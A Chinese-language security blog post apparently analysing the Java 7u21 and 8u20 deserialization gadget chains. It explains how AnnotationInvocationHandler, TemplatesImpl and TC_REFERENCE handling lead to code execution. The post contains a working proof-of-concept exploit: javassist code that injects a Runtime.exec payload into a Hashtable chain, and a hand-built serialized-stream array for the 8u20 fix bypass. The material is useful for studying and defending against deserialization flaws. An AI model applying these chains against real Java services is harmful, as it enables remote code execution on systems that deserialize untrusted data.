Java 7u21/8u20 反序列化漏洞

前言

非常特别的反序列化链,虽然可用范围很小,但是用到的类都在 JDK 内部。


7u21

观察到参考文章里面的修复方式是对 AnnotationInvocationHandler 类的 this.type 属性做了限制,所以找找用到这个属性的地方,找到 getMemberMethods 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}

return this.memberMethods;
}

函数中会使用反射根据 type 属性获取某个 Class 中定义的函数,再找找调用了 getMemberMethods 函数的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;

for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
}
...
}

if (!memberValueEquals(var7, var8)) {
return false;
}
}

return true;
}
}

简单来说就是在参数为 type 的实例的时候,可以按顺序调用某个类/接口的函数,但是如果调用了有参函数就会抛出异常结束执行,所以选择类/接口的时候要注意其函数的顺序。

而我们的好朋友 TemplatesImpl 类继承了 Templates 接口,里面只有两个函数:

1
2
3
4
5
6
public interface Templates {

Transformer newTransformer() throws TransformerConfigurationException;

Properties getOutputProperties();
}

而这两个函数都可以出发我们熟悉的 TemplatesImpl 从字节码中定义、加载类的操作,所以可以用这种方式进行 RCE。

equalsImpl 这个名字明显与 equals 相关,调用代码在 invoke 中:

1
2
3
4
5
6
7
8
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
}
...
}

用 AnnotationInvocationHandler 代理 equals,就能触发上面的反射调用函数。而 readObject 中会触发 equals 的类也挺多的, 比如 HashSet、HashTable 等等。

maven 弄个适用于 JDK7 的低版本 javassist:

1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.18.2-GA</version>
</dependency>

测试代码(使用 HashTable 需要注意一下保证 hashCode 一致):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", TransformerFactoryImpl.newInstance());

Map map = new HashMap(2);
map.put("", templates);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map mapProxy = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), annotationInvocationHandler);

Hashtable hashtable = new Hashtable();
hashtable.put("1", "2");
hashtable.put("2", "2");
Object[] table = (Object[]) getFieldValue(hashtable, "table");
setField(table[5], "key", templates);
setField(table[6], "key", mapProxy);

unserialize(serialize(hashtable));

8u20

在 AnnotationInvocationHandler 类中的修复如下:

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
...
}

在 readObject 函数中进行了限制,如果 type 属性不是注解类型,就会抛出异常直接中断反序列化进程。

但是对 Java 反序列化有一点了解的师傅都知道,异常是在 readObject 函数中抛出的,此时该对象的大部分数据已经完成了反序列化,剩下还没反序列化的就是 writeObject 函数中额外写入的函数(如 writeObject、writeInt 等)。

而 AnnotationInvocationHandler 类中并没有 writeObject 函数,也就是说此时 AnnotationInvocationHandler 对象其实已经反序列化完成了,只是被抛出的异常中断了流程。所以只要解决这个抛出的异常,我们就能绕过这个修复继续 RCE,而解决异常的方法一般来说就是 try/catch,比如在某个类的 readObject 函数中,有一块 try/catch 的代码块里面调用了 readObject 还原 writeObject 写入的额外数据。

但这样一来即使捕获了异常没有中断反序列化,反序列化出来的这个 AnnotationInvocationHandler 对象多半也会因为抛出了异常而不会保存下来,变成一个只存在于内存,无法访问的“幽灵”对象。

按照 payload 原作者的思路,要访问这个“幽灵”对象,就要用到一个 Java 反序列化的机制 REFERENCE,用 SerializationDumper 查看将一个对象写入两次生成的序列化数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 15 - 0x00 0f
Value - org.example.Foo - 0x6f72672e6578616d706c652e466f6f
serialVersionUID - 0x74 83 16 48 f2 29 b7 cf
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01
classdata
org.example.Foo
values
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 01

因为同一个对象写入了两次,而为了反序列化的简便肯定不会将相同数据写入两次,所以第二次写入的时候写入的就不是对象,而是一个 REFERENCE 引用,指向前面的对象,反序列化的时候就能知道这里是个与前面相同的数据。

按照原作者的思路,这里构造 payload 要自行编写字节码(因为是流式数据,所以按顺序写下去就行了),构造难度不高,阅读一遍原作者的源码就能明白。

唯一有一个坑点的就是 AnnotationInvocationHandler 对象的 flag 字段,如果不加上代表 SC_WRITE_METHOD 的 1,在抛出异常后会导致后续的反序列化出错,理由不明(或许是因为没有实现 writeObject 函数的类,在 readObject 时不会有因为反序列化额外数据导致的异常,所以此时如果出现了异常就会直接中断反序列化)。

我自己写了个 Hashtable 的利用链来巩固一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
return new Object[]{
STREAM_MAGIC, STREAM_VERSION, // 序列化数据头
TC_OBJECT,
TC_CLASSDESC,
Hashtable.class.getName(),
0x13bb0f25214ae4b8L, // serialVersionUID
(byte) 3, // flags (SC_SERIALIZABLE)
(short) 1, // field count
(byte) 'F', "loadFactor",
TC_ENDBLOCKDATA,
TC_NULL,
0.75f,
TC_BLOCKDATA,
(byte) 8,
0,
2,
TC_OBJECT,
TC_PROXYCLASSDESC,
1,
Map.class.getName(),
TC_ENDBLOCKDATA,
TC_CLASSDESC,
Proxy.class.getName(),
-2222568056686623797L,
(byte) 2,
(short) 2,
(byte) 'L', "foo", TC_STRING, "Ljava/lang/Object;",
(byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;",
TC_ENDBLOCKDATA,
TC_NULL,
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L,
(byte) 3,
(short) 1,
(byte) 'I', "serializable",
TC_ENDBLOCKDATA,
TC_CLASSDESC,
BeanContextChildSupport.class.getName(),
6328947014421475877L,
(byte) 2,
(short) 1,
(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL,
TC_REFERENCE, baseWireHandle + 0x0a,
1,
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L,
(byte) 3,
(short) 2,
(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",
(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",
TC_ENDBLOCKDATA,
TC_NULL,
Templates.class,
TC_OBJECT,
TC_CLASSDESC,
HashMap.class.getName(),
0x0507dac1c31660d1L,
(byte) 3,
(short) 1,
(byte) 'F', "loadFactor",
TC_ENDBLOCKDATA,
TC_NULL,
0.75f,
TC_BLOCKDATA,
(byte) 8,
0,
1,
TC_STRING, "",
templates,
TC_ENDBLOCKDATA,
TC_BLOCKDATA,
(byte) 4,
0,
TC_ENDBLOCKDATA,
TC_REFERENCE, baseWireHandle + 0x0e,
TC_STRING, "foo",
TC_REFERENCE, baseWireHandle + 0x1a,
TC_STRING, "Twings",
TC_ENDBLOCKDATA,
};

最后再 patch 一下,将 templates 中属性 _name 的引用 handler 改成某个 String 即可。

理论上,传统构造方式应该也是可行的(给 AnnotationInvocationHandler 对象的 flag 加上 SC_WRITE_METHOD,再用 endorsed 修改一下 Proxy 等类,加上一个不存在的 Object 类型属性),但是比较麻烦就是了。


参考

https://mp.weixin.qq.com/s/Daipik5qK6cIuYl49G-n4Q

https://github.com/pwntester/JRE8u20_RCE_Gadget

https://www.freebuf.com/vuls/176672.html


Java 7u21/8u20 反序列化漏洞
http://yoursite.com/2020/10/21/Java-7u21-8u20-反序列化漏洞/
作者
Aluvion
发布于
2020年10月21日
许可协议